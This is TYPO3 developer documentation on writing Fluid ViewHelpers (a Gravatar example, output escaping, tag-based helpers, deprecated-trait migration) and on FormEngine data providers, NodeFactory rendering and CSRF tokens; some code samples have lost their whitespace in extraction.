<?phpdeclare(strict_types=1);namespaceMyVendor\MyExtension\ViewHelpers;useTYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;finalclassGravatarViewHelperextendsAbstractViewHelper
{protected $escapeOutput = false;publicfunctioninitializeArguments(): void{// registerArgument($name, $type, $description, $required, $defaultValue, $escape)$this->registerArgument('emailAddress','string','The email address to resolve the gravatar for',true, );$this->registerArgument('alt','string','The optional alt text for the image', ); }publicfunctionrender(): string{ $emailAddress = $this->arguments['emailAddress']; $altText = $this->arguments['alt'] ?? '';// this is improved with the TagBasedViewHelper (see below)return sprintf('<img src="https://www.gravatar.com/avatar/%s" alt="%s">', md5($emailAddress), htmlspecialchars($altText), ); }}
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AbstractViewHelper
line 9extends AbstractViewHelper
Every ViewHelper must inherit from the class
\TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper .
A ViewHelper can also inherit from subclasses of
\AbstractViewHelper , for example
from
\TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper .
Several subclasses are offering additional functionality. The
\AbstractTagBasedViewHelper
will be explained later on in this chapter in detail.
Disable escaping the output
line 11protected $escapeOutput = false;
By default, all output is escaped by
htmlspecialchars() to prevent cross
site scripting.
Setting the property
$escapeOutput to false is necessary to prevent
escaping of ViewHelper output.
By setting the property
$escapeChildren to false, escaping of the tag
content (its child nodes) can be disabled. If this is not set explicitly,
the value will be determined automatically: If
$escapeOutput: is true,
$escapeChildren will be disabled to prevent double escaping. If
$escapeOutput: is false,
$escapeChildren will be enabled unless
disabled explicitly.
line 13public function initializeArguments(): void
The
Gravatar ViewHelper must hand over the email address which
identifies the Gravatar. An alt text for the image is passed as optional parameter.
ViewHelpers have to register (line 16, $this->registerArgument()) parameters.
The registration happens inside method initializeArguments().
In the example above, the ViewHelper receives the argument emailAddress (line 17) of
type string (line 18) which is mandatory (line 19). The optional argument alt
is defined in lines 22-26.
These arguments can be accessed
through the array
$this->arguments, in method
render().
Tip
Sometimes arguments can take various types. In this case, the type mixed
should be used.
render()
line 29public function render(): string
The method
render() is called once the ViewHelper is rendered. Its return
value can be directly output in Fluid or passed to another ViewHelper.
In line 30 an 31 we retrieve the arguments from the $arguments class
property. alt is an optional argument and therefore nullable. Fluid ensures,
the declared type is passed for non-null values. These arguments can contain
user input.
The returned string is displayed raw, without being passed through
htmlspecialchars() as we have
disabled escaping.
When escapting is diabled, the render() method is responsible to prevent
XSS attacks.
Therefore all arguments must be sanitized before they are returned.
Passing the email address through
md5() ensures that
we only have a hexadecimal number, it can contain no harmful chars.
The alt text is passed through htmlspecialchars(), therefore potentially
harmful chars are escaped.
Hint
The render() method usually returns a string that should be displayed
directly in the Fluid template. But it is also possible to return another
type and use it as argument for another ViewHelper which expects that type.
Creating HTML/XML tags with the
AbstractTagBasedViewHelper
Changed in version Fluid Standalone 2.12 / TYPO3 13.2
All TagBasedViewHelpers (such as
<f:image /> or
<f:form.*>) can now receive
arbitrary tag attributes which will be appended to the resulting HTML tag. In the past,
this was only possible for a small list of tag attributes, like class, id or lang.
For ViewHelpers which create HTML/XML tags, Fluid provides an enhanced base
class:
\TYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper . This
base class provides an instance of
\TYPO3Fluid\Fluid\Core\ViewHelper\TagBuilder that can be used to create
HTML-tags. It takes care of the syntactically correct creation and, for example,
escapes single and double quotes in attribute values.
line 11protected $tagName = 'img' configures the name of the HTML/XML tag
to be output.
All ViewHelpers extending
\AbstractTagBasedViewHelper
can receive arbitrary tag attributes which will be appended to the resulting
HTML tag and escaped automatically. For example we do not have to declare or
escape the alt argument as we did in
Example 1.
Because the Gravatar ViewHelper creates an
<img> tag the use of the
\TagBuilder , stored in class property
$this->tag is advised:
<?phpdeclare(strict_types=1);namespaceMyVendor\MyExtension\ViewHelpers;useTYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper;finalclassGravatarViewHelperextendsAbstractTagBasedViewHelper
{protected $tagName = 'img';publicfunctioninitializeArguments(): void{parent::initializeArguments();$this->registerArgument('emailAddress','string','The email address to resolve the gravatar for',true, );// The alt argument will be automatically registered }publicfunctionrender(): string{ $emailAddress = $this->arguments['emailAddress'];$this->tag->addAttribute('src','https://www.gravatar.com/avatar/' . md5($emailAddress), );return$this->tag->render(); }}
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line 32$this->tag->render() creates the
<img> tag with all
explicitly added arguments (line 28-31$this->tag->addAttribute()) and all
arbitrary tag attributes passed to the ViewHelper when it is used.
AbstractTagBasedViewHelper
line 6class GravatarViewHelper extends AbstractTagBasedViewHelper
The ViewHelper does not inherit directly from
\AbstractViewHelper but
from
\AbstractTagBasedViewHelper ,
which provides and initializes the
\TagBuilder and passes on and
escapes arbitrary tag attributes.
$tagName
line 9protected $tagName = 'img';
There is a class property
$tagName which stores the name of the tag to be
created (
<img>).
$this->tag->addAttribute()
line 28 - 31$this->tag->addAttribute(...)
The tag builder is available as class property
$this->tag. It offers
the method
TagBuilder::addAttribute() to add new tag attributes. In our
example the attribute src is added to the tag.
$this->tag->render()
line 32return $this->tag->render();
The GravatarViewHelper creates an img tag builder, which has a method named
render(). After configuring the tag builder instance, the rendered tag
markup is returned.
$this->registerTagAttribute()
Deprecated since version Fluid standalone 2.12 / TYPO3 v13.2
The methods php:$this->registerTagAttribute() and
registerUniversalTagAttributes() have been deprecated. They can be
removed on dropping TYPO3 v12.4 support.
Migration: Remove registerUniversalTagAttributes and registerTagAttribute
public function initializeArguments(): void
{
parent::initializeArguments();
+ $this->registerUniversalTagAttributes();+ $this->registerTagAttribute('alt', 'string', 'Alternative Text for the image');
}
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When removing the call, attributes registered by the call are now available in
$this->additionalArguments, and no longer in
$this->arguments.
This may need adaption within single ViewHelpers, if they handle such
attributes on their own.
If you need to support both TYPO3 v12.4 and v13, you can leave the calls
in until dropping TYPO3 v12.4 support.
public function initializeArguments(): void
{
parent::initializeArguments();
+ // TODO: Remove registerUniversalTagAttributes and registerTagAttribute+ // On dropping TYPO3 v12.4 support.
$this->registerUniversalTagAttributes();
$this->registerTagAttribute('alt', 'string', 'Alternative Text for the image');
}
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Insert optional arguments with default values
An optional size for the image can be provided to the Gravatar ViewHelper. This
size parameter will determine the height and width in pixels of the
image and can range from 1 to 512. When no size is given, an image of 80px is
generated.
<?phpdeclare(strict_types=1);
namespaceMyVendor\MyExtension\ViewHelpers;
useTYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper;
finalclassGravatarViewHelperextendsAbstractTagBasedViewHelper{
publicfunctioninitializeArguments(): void{
$this->registerArgument(
'emailAddress',
'string',
'The email address to resolve the gravatar for',
true,
);
$this->registerArgument(
'size',
'integer',
'The size of the gravatar, ranging from 1 to 512',
false,
80,
);
}
publicfunctionrender(): string{
$emailAddress = $this->arguments['emailAddress'];
$size = $this->arguments['size'];
$this->tag->addAttribute(
'src',
sprintf(
'http://www.gravatar.com/avatar/%s?s=%s',
md5($emailAddress),
urlencode($size),
),
);
return$this->tag->render();
}
}
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With this setting of a default value and setting the fourth argument to false,
the size attribute becomes optional.
Prepare ViewHelper for inline syntax
Deprecated since version Fluid v2.15 (TYPO3 v13.3 / TYPO3 12.4)
In former versions this was done by using the now deprecated trait
\CompileWithContentArgumentAndRender .
See section migration.
So far, the Gravatar ViewHelper has focused on the tag structure of the
ViewHelper. The call to render the ViewHelper was written with tag syntax, which
seemed obvious because it itself returns a tag:
This syntax places focus on the variable that is passed to the ViewHelper as it
comes first.
The syntax {post.author.emailAddress -> m:gravatar()} is an alternative
syntax for <m:gravatar>{post.author.emailAddress}</m:gravatar>. To
support this, the email address comes either from the argument emailAddress
or, if it is empty, the content of the tag should be interpreted as email
address.
This is typically used with formatting ViewHelpers. These ViewHelpers all
support both tag mode and inline syntax.
Depending on the implemented method for rendering, the implementation is
different:
To fetch the content of the ViewHelper the method
renderChildren() is
available in the
\AbstractViewHelper .
This returns the evaluated object between the opening and closing tag.
EXT:my_extension/Classes/ViewHelpers/GravatarViewHelper.php (Example 3, with content arguments)
<?phpdeclare(strict_types=1);namespaceMyVendor\MyExtension\ViewHelpers;useTYPO3Fluid\Fluid\Core\ViewHelper\AbstractTagBasedViewHelper;finalclassGravatarViewHelperextendsAbstractTagBasedViewHelper
{protected $tagName = 'img';publicfunctioninitializeArguments(): void{$this->registerArgument('emailAddress','string','The email address to resolve the gravatar for',// The argument is optional now ); }publicfunctionrender(): string{ $emailAddress = $this->renderChildren();// The children of the ViewHelper might be empty nowif ($emailAddress === null) {thrownew \Exception('The Gravatar ViewHelper expects either the ' . 'argument "emailAddress" or the content to be set. ',1726035545, ); }// Or someone could pass a non-string valueif (!is_string($emailAddress) || !filter_var($emailAddress, FILTER_VALIDATE_EMAIL)) {thrownew \Exception('The Gravatar ViewHelper expects a valid ' .'e-mail address as input. ',1726035546, ); }$this->tag->addAttribute('src','https://www.gravatar.com/avatar/' . md5($emailAddress), );return$this->tag->render(); }publicfunctiongetContentArgumentName(): string{return'emailAddress'; }}
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Handle additional arguments
Changed in version Fluid Standalone 2.12 / TYPO3 13.2
All ViewHelpers implementing
\AbstractTagBasedViewHelper
can now receive arbitrary tag attributes which will be appended to the
resulting HTML tag. In the past, this was only possible for
explicitly registered arguments.
If a ViewHelper allows further arguments which have not been explicitly
configured, the
handleAdditionalArguments() method can be implemented.
ViewHelper implementing
\AbstractTagBasedViewHelper do
not need to use this as all arguments are passed on automatically.
The different render methods
ViewHelpers can have one or more of the following methods for
implementing the rendering. The following section will describe the differences
between the implementations.
compile()-Method
This method can be overwritten to define how the ViewHelper should be compiled.
That can make sense if the ViewHelper itself is a wrapper for another native PHP
function or TYPO3 function. In that case, the method can return the call to this
function and remove the need to call the ViewHelper as a wrapper at all.
The
compile() has to return the compiled PHP code for the ViewHelper.
Also the argument
$initializationPhpCode can be used to add further PHP
code before the execution.
To remove the deprecated trait
\TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithRenderStatic switch
to use the render() method instead of the renderStatic().
If
\TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithContentArgumentAndRender
was also used in your ViewHelper implementation, further steps are needed:
<?php
declare(strict_types=1);
namespace MyVendor\MyExtension\ViewHelpers;
-use TYPO3Fluid\Fluid\Core\Rendering\RenderingContextInterface;
use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;
-use TYPO3Fluid\Fluid\Core\ViewHelper\Traits\CompileWithRenderStatic;
final class GravatarViewHelper extends AbstractViewHelper
{
- use CompileWithRenderStatic;-
protected $escapeOutput = false;
public function initializeArguments(): void
{
$this->registerArgument('emailAddress', 'string', 'The email address to resolve the gravatar for', true);
}
- public static function renderStatic(array $arguments, \Closure $renderChildrenClosure, RenderingContextInterface $renderingContext): string+ public function render(): string
{
- $emailAddress = $arguments['emailAddress'];+ $emailAddress = $this->arguments['emailAddress'];- $gravatorUrl = GravatarUrlViewHelper::renderStatic(['email', $emailAddress], $renderChildrenClosure, $renderingContext);+ $gravatarUrl = $this->renderingContext->getViewHelperInvoker()->invoke(+ GravatarUrlViewHelper::class,+ ['email', $emailAddress],+ $this->renderingContext,+ $this->renderChildren(),+ );
return sprintf('<img src="%s" />', $gravatarUrl);
}
}
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line 27, 28ff
Replace the static call to the renderStatic() method of another ViewHelper
by calling $this->renderingContext->getViewHelperInvoker()->invoke() instead.
See also
\TYPO3Fluid\Fluid\Core\ViewHelper\ViewHelperInvoker .
How to access classes in the ViewHelper implementation
The class
TypoScriptFrontendController
and its global instance
$GLOBALS['TSFE'] , which were formerly used to fetch the
ContentObjectRenderer, have been marked as
deprecated. The class will be removed in TYPO3 v14. See
TSFE for migration steps.
FormEngine
FormEngine renders records in the backend. This chapter explains the main code logics behind and how the rendering
can be influenced and extended on a PHP developer level. Record editing can also be configured and fine tuned by
integrators using page TSconfig, see the according section of the page TSconfig reference
for details.
Looking at TYPO3's main constructs from an abstract position, the system splits into three most important pillars:
DataHandler
TYPO3\CMS\Core\DataHandling\...: Construct taking care of persisting data into the database.
The DataHandler takes an array representing one or more records, inserts, deletes or updates them in the database
and takes care of relations between multiple records. If editing content in the backend, this construct does
all main database munging. DataHandler is fed by some controller that most often gets GET
or POST data from FormEngine.
FormEngine
TYPO3\CMS\Backend\Form\...: FormEngine renders records, usually in the backend. It creates all the HTML
needed to edit complex data and data relations. Its GET or POST data is then fed to the DataHandler
by some controller.
Frontend rendering
TYPO3\CMS\Frontend\...: Renders the website frontend. The frontend rendering, usually based on
\TYPO3\CMS\Frontend\Controller\TypoScriptFrontendController uses TypoScript and / or Fluid
to process and render database content into the frontend.
The glue between these three pillars is TCA (Table Configuration Array): It defines how
database tables are constructed, which localization or workspace facilities exist, how it should be displayed in the
backend, how it should be written to the database, and - next to TypoScript - which behaviour it has in the frontend.
This chapter is about FormEngine. It is important to understand this construct is based on TCA and is usually
used in combination with the DataHandler. However, FormEngine is constructed in a way that it can work without
DataHandler: A controller could use the FormEngine result and process it differently. Furthermore, all dependencies of
FormEngine are abstracted and may come from "elsewhere", still leading to the form output known for casual records.
This makes FormEngine an incredible flexible construct. The basic idea is "feed something that looks like TCA
and render forms that have the full power of TCA but look like all other parts of the backend".
This chapter explains the main constructs of
FormEngine and gives an insight on how to re-use, adapt and extend it with extensions. The Core Team expects to see more
usages of FormEngine within the Core itself and within extensions in the future, and encourages developers to solve
feature needs based on FormEngine. With the ongoing changes, those areas that may need code adaptions in the
foreseeable future have notes within the documentation and developers should be available to adapt with younger
cores. Watch out for breaking changes if using FormEngine and updating the Core.
Main rendering workflow
This is done by example. The details to steer and how to use only sub-parts of the rendering chain are
explained in more detail in the following sections.
Editing a record in the backend - often from within the Page or List module - triggers the
EditDocumentController by routing definitions using
UriBuilder->buildUriFromRoute($moduleIdentifier)
and handing over which record of which table should be edited. This can be an existing record, or it could be a command
to create the form for a new record. The EditDocumentController is the main logic triggered whenever
an editor changes a record!
The
EditDocumentController has two main jobs: Trigger rendering of one or multiple records
via FormEngine, and hand over any given data by a FormEngine POST result over to the DataHandler
to persist stuff in the database.
The rendering part of the
EditDocumentController job splits into these parts:
Initialize main FormEngine data array using POST or GET data to specify which specific record(s)
should be edited.
Select which group of DataProviders should be used.
Trigger FormEngine DataCompiler to enrich the initialized data array with further data by calling all data
providers specified by selected data provider group.
Hand over DataCompiler result to an entry "render container" of FormEngine and receive a result array.
Take result array containing HTML, CSS and JavaScript details and put them into
FormResultCompiler which
hands them over to the
PageRenderer.
Let the
PageRenderer output its compiled result.
The controller does two distinct things here: First, it initializes a data array and lets it get enriched by
data providers of FormEngine which add all information needed for the rendering part. Then feed this data array
to the rendering part of FormEngine to end up with a result array containing all HTML, CSS and JavaScript.
This basically means the main FormEngine concept is a two-fold process: First create an array to gather all
render-relevant information, then call the render engine using this array to come up with output.
This two-fold process has a number of advantages:
The data compiler step can be regulated by a controller to only enrich with stuff that is needed in any given context.
This part is supported by encapsulating single data providers in data groups, single data providers can be omitted if
not relevant in given scope.
Data providing and rendering is split: Controllers could re-use the rendering part of FormEngine while
all or parts of the data providers are omitted, or their data comes from "elsewhere". Furthermore, controllers can
re-use the data providing part of FormEngine and output the result in an entirely different way than HTML. The
latter is for instance used when FormEngine is triggered for a TCA tree by an Ajax call and thus outputs a JSON array.
The code constructs behind "data providing" and "rendering" can be different to allow higher re-use and more
flexibility with having the "data array" as main communication base in between. This will become more obvious
in the next sections where it is shown that data providers are a linked list, while rendering is a tree.
Data compiling
This is the first step of FormEngine. The data compiling creates an array containing all data
the rendering needs to come up with a result.
The FormEngine data provider requires the current
PSR-7 request object passed with the input data.
Additionally, the form data group must be provided as second argument to
compile().
The above code is a simplified version of the relevant part of the
EditDocumentController. This controller
knows by its GET or POST parameters which record ("vanillaUid") of which specific table ("tableName")
should be edited (command="edit") or created (command="new"), and sets this as init data to the DataCompiler. The
controller also knows that it should render a full database record and not only parts of it, so it uses the
TcaDatabaseRecord data provider group to trigger all data providers relevant for this case. By calling
->compile()
on this data group, all providers configured for this group are called after each other, and
formData ends up
with a huge array of data record details.
So, what happens here in detail?
Variable
$formDataCompilerInput maps input values to keys specified by
FormDataCompiler as "init" data.
FormDataCompiler returns a unified array of data. This array is enriched by single data providers.
A data provider group is a list of single data providers for a specific scope and enriches the array with information.
Each data provider is called by the DataGroup to add or change data in the array.
The variable
$formData roughly consists of this data after calling
$formDataCompiler->compile():
A validated and initialized list of current database row field variables.
A processed version of
$TCA['givenTable'] containing only those column fields a current user has access to.
A processed list of items for single fields like select and group types.
A list of relevant localizations.
Information of expanded inline record details if needed.
Resolved flex form data structures and data.
A lot more
Basic goal of this step is to create an array in a specified format with all data needed by the render-part of FormEngine.
A controller initializes this with init data, and then lets single data providers fetch additional data and write it
to the main array. The deal is here that the data within that array is not structured in an arbitrary way, and each single
data provider only adds data the render part of FormEngine understands and needs later. This is why the main array keys are restricted:
The main array is initialized by
FormDataCompiler, and each
DataProvider can only add data to sub-parts of that array.
Note
The main data array is prepared by
FormDataCompiler, each key is well documented in this class. To find out
which data is expected to reside in this array, those comments are worth a look.
Data Groups and Providers
So we have this empty data array, pre-set with data by a controller and then initialized by
FormDataCompiler,
which in turn hands over the data array to a specific
FormDataGroup. What are these data providers now? Data providers are
single classes that add or change data within the data array. They are called in a chain after each other. A
FormDataGroup
has the responsibility to find out, which specific single data providers should be used, and calls them in a specific order.
Why do we need this?
Which data providers are relevant depends on the specific scope: For instance, if editing a full database based record,
one provider fetches the according row from the database and initializes
$data['databaseRow'] . But if flex form
data is calculated, the flex form values are fetched from table fields directly. So, while the
DatabaseEditRow data
provider is needed in the first case, it's not needed or even counter productive in the second case.
The
FormDataGroup's are used to manage providers for specific scopes.
FormDataGroups know which providers should be used in a specific scope. They usually fetch a list of providers from
some global configuration array. Extensions can add own providers to this configuration array for further data munging.
Single data providers have dependencies to each other and must be executed in a specific order. For instance, the
page TSconfig of a record can only be determined, if the rootline of a record has been determined, which can only happen
after the pid of a given record has been consolidated, which relies on the record being fetched from the database.
This makes data providers a linked list and it is the task of a
FormDataGroup to manage the correct order.
Main data groups:
TcaDatabaseRecord
List of providers used if rendering a database based record.
FlexFormSegment
List of data providers used to prepare flex form data and flex form section container data.
TcaInputPlaceholderRecord
List of data providers used to prepare placeholder values for
type=input and
type=text fields.
InlineParentRecord
List of data providers used to prepare data needed if an inline record is opened from within an Ajax call.
OnTheFly
A special data group that can be initialized with a list of to-execute data providers directly. In contrast to the
others, it does not resort the data provider list by its dependencies and does not fetch the list of data providers
from a global config. Used in the Core at a couple of places, where a small number of data providers should be called
right away without being extensible.
Note
It is a good idea to set a breakpoint at the form data result returned by the DataCompiler and to have a look at
the data array to get an idea of what this array contains after compiling.
Let's have a closer look at the data providers. The main
TcaDatabaseRecord group consists mostly of three parts:
Main record data and dependencies:
Fetch record from DB or initialize a new row depending on
$data['command'] being "new" or "edit", set row as
$data['databaseRow']
Add user TSconfig and page TSconfig to data array
Add table TCA as
$data['processedTca']
Determine record type value
Fetch record translations and other details and add to data array
Single field processing:
Process values and items of simple types like
type=input,
type=radio,
type=check and so on. Validate
their
databaseRow values and validate and sanitize their
processedTca settings.
Process more complex types that may have relations to other tables like
type=group and
type=select, set
possible selectable items in
$data['processedTca'] of the according fields, sanitize their TCA settings.
Process
type=inline and
type=flex fields and prepare their child fields by using new instances of
FormDataCompiler and adding their results to
$data['processedTca'].
Post process after single field values are prepared:
Execute display conditions and remove fields from
$data['processedTca'] that shouldn't be shown.
Determine main record title and set as
$data['recordTitle']
Extending Data Groups With Own Providers
The base set of DataProviders for all DataGroups is defined within typo3/sysext/core/Configuration/DefaultConfiguration.php
in section
['SYS']['formEngine']['formDataGroup'], and ends up in variable
$GLOBALS['TYPO3_CONF_VARS'] after Core
bootstrap. The provider list can be read top-down, so the
DependencyOrderingService typically does not resort this
list to a different order.
Adding an own provider to this list means adding an array key to that array having a specification where the new data provider
should be added in the list. This is done by the arrays
depends and
before.
As an example, the extension "news" used an own data provider in
a past version
to do additional flex form data structure preparation. The Core internal
flex preparation is already split into two providers:
TcaFlexPrepare determines the data structure and parses
it,
TcaFlexProcess uses the prepared data structure, processes values and applies defaults if needed. The data provider
from the extension "news" hooks in between these two to add some own preparation stuff. The registration happens with this
code in ext_localconf.php:
EXT:news/ext_localconf.php
<?phpdeclare(strict_types=1);
useGeorgRinger\News\Backend\FormDataProvider\NewsFlexFormManipulation;
useTYPO3\CMS\Backend\Form\FormDataProvider\TcaFlexPrepare;
useTYPO3\CMS\Backend\Form\FormDataProvider\TcaFlexProcess;
defined('TYPO3') ordie();
// Inject a data provider between TcaFlexPrepare and TcaFlexProcess
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['formDataGroup']['tcaDatabaseRecord'][NewsFlexFormManipulation::class] = [
'depends' => [
TcaFlexPrepare::class,
],
'before' => [
TcaFlexProcess::class,
],
];
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This is pretty powerful since it allows extensions to hook in additional stuff at any point of the processing chain, and
it does not depend on the load order of extensions.
Limitations:
It is not easily possible to "kick out" an existing provider if other providers have dependencies to them - which is
usually the case.
It is not easily possible to substitute an existing provider with an own one.
Note
It may happen that the Core splits or deletes the one or the other DataProvider in the future. If then an extension
has a dependency to a removed provider, the
DependencyOrderingService, which takes care of the sorting, throws
an exception. There is currently no good solution in the Core on how to mitigate this issue.
Note
Data providers in general should not know about
renderType, but only about
type. Their goal is to prepare
and sanitize data independent of a specific
renderType. At the moment, the Core data provider just has one
or two places, where specific
renderType's are taken into account to process data, and those show that these areas
are a technical debt that should be changed.
Adding Data to Data Array
Most custom data providers change or add existing data within the main data array. A typical use case is an additional
record initialization for specific fields in
$data['databaseRow'] or additional items somewhere within
$data['processedTca']. The main data array is documented in
FormDataCompiler->initializeResultArray().
Sometimes, own DataProviders need to add additional data that does not fit into existing places. In those cases they
can add stuff to
$data['customData']. This key is not filled with data by Core DataProviders and serves as a place
for extensions to add things. Those data components can be used in own code parts of the rendering later. It is advisable
to prefix own data in
$data['customData'] with some unique key (for instance the extension name) to not collide
with other data that a different extension may add.
Disable Single FormEngine Data Provider
Single data providers used in the FormEngine data compilation step can be disabled to allow extension authors to substitute
existing data providers with their solutions.
As an example, if editing a full database record, the default TcaCheckboxItems could be removed by setting
disabled in the
tcaDatabaseRecord group in an extension's ext_localconf.php file:
Extension authors can then add an own data provider, which
depends
on the disabled one and is configured as
before the
next one. Therefore effectively substituting single providers with their
solution if needed.
Rendering
This is the second step of the processing chain: The rendering part gets the data array prepared
by
FormDataCompiler and creates a result array containing HTML, CSS and JavaScript. This
is then post-processed by a controller to feed it to the
PageRenderer or to create an Ajax
response.
The rendering is a tree: The controller initializes this by setting one
container as
renderType
entry point within the data array, then hands over the full data array to the
NodeFactory which looks
up a class responsible for this
renderType, and calls render() on it. A container class creates only
a fraction of the full result, and delegates details to another container. The second one does another detail
and calls a third one. This continues to happen until a single field should be rendered, at which point an
element class is called taking care of one element.
Each container creates some "outer" part of the result, calls some sub-container or element, merges the
sub-result with its own content and returns the merged array up again. The data array is given to each sub class
along the way, and containers can add further render relevant data to it before giving it "down". The data array
can not be given "up" in a changed way again. Inheritance of a data array is always top-bottom. Only HTML, CSS
or JavaScript created by a sub-class is returned by the sub-class "up" again in a "result" array of a specified
format.
Above example lets
NodeFactory find and compile some data from "subContainer", and merges the child result
with its own. The helper methods
initializeResultArray() and
mergeChildReturnIntoExistingResult()
help with combining CSS and JavaScript.
An upper container does not directly create an instance of a sub node (element or container) and never calls it
directly. Instead, a node that wants to call a sub node only refers to it by a name, sets this name into the data
array as
$data['renderType'] and then gives the data array to the
NodeFactory which determines
an appropriate class name, instantiates and initializes the class, gives it the data array, and calls
render()
on it.
Class Inheritance
All classes must implement
NodeInterface to be routed through the
NodeFactory. The
AbstractNode
implements some basic helpers for nodes, the two classes
AbstractContainer and
AbstractFormElement
implement helpers for containers and elements respectively.
The call concept is simple: A first container is called, which either calls a container below or a single element. A
single element never calls a container again.
NodeFactory
The
NodeFactory plays an important abstraction role within the render chain: Creation of child nodes is
always routed through it, and the NodeFactory takes care of finding and validating the according class that
should be called for a specific
renderType. This is supported by an API that allows registering new
renderTypes and overriding existing renderTypes with own implementations. This is true for all classes,
including containers, elements, fieldInformation, fieldWizards and fieldControls. This means the child routing
can be fully adapted and extended if needed. It is possible to transparently "kick-out" a Core container and to
substitute it with an own implementation.
For example, the TemplaVoila implementation needs to add additional render capabilities of the FlexForm rendering
to add for instance an own multi-language rendering of flex fields. It does that by overriding the default
flex container with own implementation:
This re-routes the
renderType "flex" to an own class. If multiple registrations for a single renderType exist,
the one with highest priority wins.
Note
The
NodeFactory uses
$data['renderType'].
A couple of TCA fields actively use this renderType. However, it is important to understand the renderType is only
used within the FormEngine and
type is still a must-have setting for columns fields in TCA. Additionally,
type can not be overridden in
columnsOverrides. Basically,
type specifies how the DataHandler
should put data into the database, while
renderType specifies how a single field is rendered. This additionally
means there can exist multiple different renderTypes for a single type, and it means it is possible to invent a new
renderType to render a single field differently, but still let the DataHandler persist it the usual way.
<?phpdeclare(strict_types=1);
useMyVendor\CoolTagCloud\Form\Element\SelectTagCloudElement;
defined('TYPO3') ordie();
// Add new field type to NodeFactory
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeRegistry'][1487112284] = [
'nodeName' => 'selectTagCloud',
'priority' => '70',
'class' => SelectTagCloudElement::class,
];
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And use it in TCA for a specific field, keeping the full database functionality in DataHandler together with the
data preparation of FormDataCompiler, but just routing the rendering of that field to the new element:
The above examples are a static list of nodes that can be changed by settings in ext_localconf.php. If that
is not enough, the
NodeFactory can be extended with a resolver that is called dynamically for specific renderTypes.
This resolver gets the full current data array at runtime and can either return
NULL saying "not my job", or return
the name of a class that should handle this node.
An example of this are the Core internal rich text editors. Both "ckeditor" and "rtehtmlarea" register a resolver class
that are called for node name "text", and if the TCA config enables the editor, and if the user has enabled rich text
editing in his user settings, then the resolvers return their own
RichTextElement class names to render a given text
field:
EXT:my_extension/ext_localconf.php
<?phpdeclare(strict_types=1);
useTYPO3\CMS\RteCKEditor\Form\Resolver\RichTextNodeResolver;
defined('TYPO3') ordie();
// Register FormEngine node type resolver hook to render RTE in FormEngine if enabled
$GLOBALS['TYPO3_CONF_VARS']['SYS']['formEngine']['nodeResolver'][1480314091] = [
'nodeName' => 'text',
'priority' => 50,
'class' => RichTextNodeResolver::class,
];
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The trick here is that CKEditor registers his resolver with a higher priority (50) than "rtehtmlarea" (40), so the
"ckeditor" resolver is called first and wins if both extensions are loaded and if both return a valid class name.
Result Array
Each node, no matter if it is a container, an element, or a node expansion,
must return an array with specific data keys it wants to add. It is the job of the parent node that calls the sub node to
merge child node results into its own result. This typically happens by merging
$childResult['html']
into an appropriate position of own HTML, and then calling
$this->mergeChildReturnIntoExistingResult() to add
other array child demands like
stylesheetFiles into its own result.
Container and element nodes should use the helper method
$this->initializeResultArray() to
have a result array initialized that is understood by a parent node.
Only if extending existing element via node expansion, the result array
of a child can be slightly different. For instance, a
FieldControl "wizards" must have a
iconIdentifier
result key key. Using
$this->initializeResultArray() is not appropriate in these cases but depends on the specific
expansion type. See below for more details on node expansion.
The result array for container and element nodes looks like this.
$resultArray = $this->initializeResultArray() takes care of basic keys:
CSS and language labels (which can be used in JS) are added with their file
names in format
EXT:my_extension/path/to/file.
Note
Nodes must never add assets like JavaScript or CSS using the
PageRenderer. This fails as soon as this container / element /
wizard is called via Ajax, for instance within inline. Instead,
those resources must be registered via the result array only,
using
stylesheetFiles and
javaScriptModules.
Adding JavaScript modules
JavaScript is added as ES6 modules using the
function
JavaScriptModuleInstruction::create().
The "node expansion" classes
FieldControl,
FieldInformation and
FieldWizard are called by containers
and elements and allow "enriching" containers and elements. Which enrichments are called can be configured via TCA.
FieldInformation
Additional information. In elements, their output is shown between the field label and the element itself. They can
not add functionality, but only simple and restricted HTML strings. No buttons, no images. An example usage could be
an extension that auto-translates a field content and outputs an information like "Hey, this field was auto-filled
for you by an automatic translation wizard. Maybe you want to check the content".
FieldWizard
Wizards shown below the element. "enrich" an element with additional functionality. The localization wizard and
the file upload wizard of
type=group fields are examples of that.
FieldControl
"Buttons", usually shown next to the element. For
type=group the "list" button and the "element browser" button
are examples. A field control must return an icon identifier.
Currently, all elements usually implement all three of these, except in cases where it does not make sense. This API allows
adding functionality to single nodes, without overriding the whole node. Containers and elements can come with default
expansions (and usually do). TCA configuration can be used to add own stuff. On container side the implementation is still
basic, only
OuterWrapContainer and
InlineControlContainer currently implement FieldInformation and FieldWizard.
See the TCA reference ctrl section for more information on how to configure these
for containers in TCA.
Example. The
InputTextElement (standard input element) defines a couple of default wizards and embeds them in its
main result HTML:
This element defines three wizards to be called by default. The
renderType concept is re-used, the
values
localizationStateSelector are registered within the
NodeFactory and resolve to class names. They
can be overridden and extended like all other nodes. The
$defaultFieldWizards are merged with TCA settings
by the helper method
renderFieldWizards(), which uses the
DependencyOrderingService again.
It is possible to:
Override existing expansion nodes with own ones from extensions, even using the resolver mechanics is possible.
It is possible to disable single wizards via TCA
It is possible to add own expansion nodes at any position relative to the other nodes by specifying "before" and
"after" in TCA.
Add fieldControl Example
To illustrate the principals discussed in this chapter see the following
example which registers a fieldControl (button) next to a field in the pages
table to trigger a data import via Ajax.
This example is still in RequireJS. RequireJS has been deprecated with
TYPO3 v12. Help us transferring the example into ES6.
See Contribute to the TYPO3 documentation.
Add the JavaScript for defining the behavior of the control in
Resources/Public/JavaScript/ImportData.js:
The TYPO3 Core provides a generic way of protecting forms against cross-site
request forgery (CSRF).
Attention
This requires a logged-in user whether in frontend or backend. CSRF
protection is not supported for anonymous users. Without a logged-in user
the token will always be
dummyToken. See 77403 for details.
For each form in the backend/frontend (or link that changes some data), create a
token and insert it as a hidden form element. The name of the form element does
not matter; you only need it to get the form token for verifying it.
